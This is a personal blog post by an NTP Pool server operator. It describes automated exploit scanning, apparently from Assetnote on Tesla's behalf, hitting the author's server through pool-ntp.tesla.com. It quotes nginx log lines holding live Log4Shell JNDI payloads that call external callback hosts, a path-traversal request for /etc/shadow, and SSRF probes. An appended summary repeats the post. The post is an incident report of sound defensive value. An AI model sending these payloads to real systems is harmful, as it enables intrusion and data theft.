I’m being cyberattacked by Tesla, Inc.
Skip to page content
Using accessibility tools or a text browser? Switch to another theme to
get rid of the chrome.
dreamstation.systems
Sun Sep 13, 7:10 PM UTC
I’m being cyberattacked by Tesla, Inc. - Mozilla Firefox
File
New WindowCtrl+N
New TabCtrl+T
Open Location…Ctrl+L
Open File…Ctrl+O
Save Page As…Ctrl+S
Send Link…
Page Setup…
Print Preview
Print…Ctrl+P
Work Offline
QuitCtrl+Q
Edit
UndoCtrl+Z
RedoCtrl+Shift+Z
CutCtrl+X
CopyCtrl+C
PasteCtrl+V
DeleteDel
Select AllCtrl+A
Find in This Page…Ctrl+F
Preferences
View
Toolbars▸
Status Bar
Sidebar▸
Zoom▸
Page Style▸
Character Encoding▸
Page SourceCtrl+U
robin’s page
blog
my professional site
OpenGET
History
BackAlt+←
ForwardAlt+→
HomeAlt+Home
Recently Closed Tabs▸
Show All HistoryCtrl+Shift+H
Bookmarks
Bookmark This PageCtrl+D
Subscribe to This Page…
Organize Bookmarks…
robin’s page
blog
my professional site
OpenGET
Tools
Web SearchCtrl+K
DownloadsCtrl+Y
Add-ons
Error ConsoleCtrl+Shift+J
Page Info
Clear Private Data…Ctrl+Shift+Del
Help
About this site
Report a Broken Web Site…
About Mozilla Firefox
https://dreamstation.systems/personal/tesla.htmldreamstation.systems
🏠 home
📓 blog
💼 my professional site
📈 OpenGET
GTK2
Motif
skeuslop
Ubuntu 8.04
Plain
Apply
dreamstation.systems
I’m being cyberattacked by Tesla, Inc.
2026-09-13
While it’s not unusual for everything on the dark dungeons of the IPv4 Internet to be subject to a barrage of drive-by scanner traffic and the occasional bizarrely persistent attacker, I noticed something strange while looking through my nginx logs. Persistent attack traffic coming from three particular IPs, with the strange thing being that they were arriving with Host or Referer headers from pool-ntp.tesla.com, carried Assetnote user agents, and were trying to SSRF me to Assetnote callback URLs:
35.168.63.24 - - [13/Sep/2026:01:14:31 -0700] "GET /?a=%3Cscript%20src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}>alert()%3C%2Fscript%3E HTTP/1.1" 299 817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 ${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}" host=pool-ntp.tesla.com
The traffic came from three specific scanners: 54.165.75.96, 35.168.63.24, and 52.44.200.251. All of those are in the Amazon Web Services AS (AMAZON-AES).
Assetnote, a legitimate attack surface management tool now called Searchlight Cyber in marketing materials, does indeed use continuous threat exposure scanners like this to perform automated checks for customers’ assets. Assuming this is actual Assetnote traffic (they do indeed use AWS, so that checks out), they must be mistaking me for an internal Tesla asset.
How this happened
Tesla publishes pool-ntp.tesla.com as a CNAME to pool.ntp.org. pool.ntp.org is the NTP Pool, a round‐robin of volunteer NTP servers that I’m a part of. (Sidenote, they should be using a vendor zone, not their own CNAME under tesla.com.)
Speculation: Assetnote pulled in everything it could find under tesla.com, including pool-ntp.tesla.com, which CNAMEs to pool.ntp.org, which can resolve to my machine — 67.215.249.229. The asset inventory saves this as a Tesla asset, and starts throwing exploits at me, a stranger.
I emailed Tesla about this, and haven’t heard back yet:
Hi,
Not a vuln in Tesla, and I'm not asking for anything, but I just wanted to let you know that you may unintentionally be being a nuisance.
My server is a member of the NTP Pool. Over roughly the past two days, it has received ~8,000 requests from two of your scanning hosts: <54.165.75.96> and <35.168.63.24>, UA <Assetnote/1.0.0 (ExposureScan)>, with many templated exploit payloads.
Every payload used <pool-ntp.tesla.com> as the target hostname. I assume you have an internal subdomain that resolves round‐robin onto NTP Pool member servers, the vast majority of which are not owned by Tesla. Your asset discovery appears to be unintentionally including every IP that <pool-ntp.tesla.com> can resolve to as in‐scope for active scanning.
No harm caused here, but I wanted to warn you that **you are throwing exploits at strangers’ IPs**.
Happy to share verbatim logs if useful.
Robin
dreamstation.systems / 67.215.249.229
Their traffic
They tried all kinds of exploits against me: path traversal, webshell uploads, probing software internals, probing WordPress and other CMS management endpoints, SSRF, Log4Shell, and a lot more.
There were also callback attempts. 989 requests embedded assetnote-callback.com hostnames for Log4Shell and Text4Shell detection, and 114 named canary.assetnotessrf.com for SSRF:
GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a}
Something funny that I don’t have an explanation for is that fifteen requests carried a Host header login.solarcity.com, all requesting GET /(S(x))/b/(S(x))in/System.Web.Mvc.dll, which I think is some sort of ASP.NET trick trying to resolve /b/(S(x))in/ to /bin/.
I found some other amusing information outside of the Host header. Sweeping the Referer headers, URLs, and query strings turns up hostnames baked into the templates themselves, like this:
GET /calendars/admin@lowlevelaccess.jlg.com/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow
Other third‐party hostnames I noticed included servicemcdonalds.com, saferas.com, rsmafghanistan.af, enrichcs.com.au, escience2010.org, al-forno.com.au, and disneyfineart.com.
An RFC 1918 address also appears in the Referer of one probe:
GET /internal/v2/config/mps_secret/ADM_SESSIONID
Referer: http://192.168.178.222/admin_ui/mas/ent/html/main.html
The scanner also tries to talk HTTP at every port it finds for some reason. My SSH, Postfix, and Dovecot have gotten tons of junk HTTP traffic.
On September 8, I started answering the pool-ntp.tesla.com Host with non‐standard status code 299 (to hopefully catch the attention of a human reading the scanner logs), with a body of this notice on every path:
# This is not Tesla infrastructure!
This is a hobbyist NTP, web, and miscellaneous server.
Over the past few days, I have been receiving tons of requests at the pool-ntp.tesla.com Host from two Assetnote scanning hosts (54.165.75.96 and 35.168.63.24).
pool-ntp.tesla.com CNAMEs to pool.ntp.org, which round-robins to thousands of volunteer NTP servers, and your scanner seems to have gotten stuck to my server.
You have not caused me any harm, but you are throwing exploits at strangers' IPs.
I have emailed VulnerabilityReporting@tesla.com about this. If you would like, email me back at robin@dreamstation.systems and I can provide detailed logs.
It has unfortunately not seemed to change the behavior so far.
None of their attacks have succeeded, which I’m proud of.
Since August 21, I’ve gotten over 50,000 requests from Assetnote hosts. The traffic has not stopped yet; I will update this post in the future.
(Yes, I could just firewall out their IPs, but it’s very fun to observe this, and I want to make someone at Tesla aware of what’s going on.)
Are they doing this to the entire pool?
I asked the NTP Pool server operator community board if anyone else who happens to run a web server on the same IP as their NTP server is seeing this. One operator, Matt Nordhoff, said he had also been seeing this since August 15:
$ sudo rg -zFI pool-ntp.tesla.com access.log* | awk '{print $1}' | sort | uniq -c | sort -gr | head
9126 54.165.75.96
7461 35.168.63.24
6123 52.44.200.251
11 64.227.103.50
6 146.190.142.16
4 3.101.230.148
3 3.88.188.142
3 3.101.216.68
2 54.213.2.72
2 54.202.10.40
but nobody else has said anything. I am wondering if they are re‐resolving pool-ntp.tesla.com every single time and hitting everything the geolocation magic will let them reach, or if they just collected a few pool IPs and are only hammering those.
Done |
The author recounts an experience of suspected cyberattack originating from Tesla, Inc., detailing a sophisticated series of scanning and exploitation attempts made against their server. The initial observation involved persistent attack traffic originating from three specific IP addresses: 54.165.75.96, 35.168.63.24, and 52.44.200.251, all located within the Amazon Web Services AS. This traffic consistently featured Host or Referer headers pointing to pool-ntp.tesla.com, utilizing Assetnote user agents, and attempting Server-Side Request Forgery (SSRF) targeting Assetnote callback URLs.
The author speculated that this activity was related to Tesla’s infrastructure configuration. It was noted that Tesla publishes pool-ntp.tesla.com as a CNAME to pool.ntp.org, which resolves to a pool of volunteer NTP servers. The underlying suspicion was that an asset inventory management tool, such as Assetnote (now Searchlight Cyber), was inadvertently discovering and launching exploits against any IP address resolvable via this domain, including the author's server, mistaking it for an internal Tesla asset.
The attack traffic was highly varied and demonstrated an attempt to probe various vulnerabilities. The scanners tested the targets with exploits targeting path traversal, webshell uploads, probing software internals, management endpoints for CMS systems like WordPress, and known vulnerabilities such as Log4Shell. Furthermore, numerous callback attempts were made, specifically targeting detection mechanisms related to Log4Shell and Text4Shell, in addition to probing SSRF channels. The intrusion attempts also included attempts to exploit sequences in ASP.NET using specific form structures to attempt file system traversal within the server environment.
Further examination of the request headers and URLs revealed highly irregular data. Sweeping the Referer headers and query strings exposed embedded hostnames from the exploit templates itself, including references to unrelated domains like servicemcdonalds.com and disneyfineart.com. One probe also contained an RFC 1918 address in its Referer header, suggesting potential internal network reconnaissance or exposure. The scanners also attempted to communicate over non-standard HTTP ports, generating excessive junk traffic on services like SSH, Postfix, and Dovecot.
In response to the ongoing activity, the author implemented a countermeasure by responding to the pool-ntp.tesla.com Host request with a non-standard status code, 299, accompanied by a message stating that the server was not Tesla infrastructure. This action was intended to alert the scanning tools to the misdirection.
The author communicated these findings to Tesla, emphasizing that while no harm was caused, the organization was unintentionally launching exploits against external IP addresses. The post concludes by discussing community input, noting that other operators within the NTP Pool community have also observed similar scanning activity from the same scanning hosts, leading to speculation that the scanning activity might be re-resolving the domain across the entire pool rather than targeting only a few specific NTP servers. |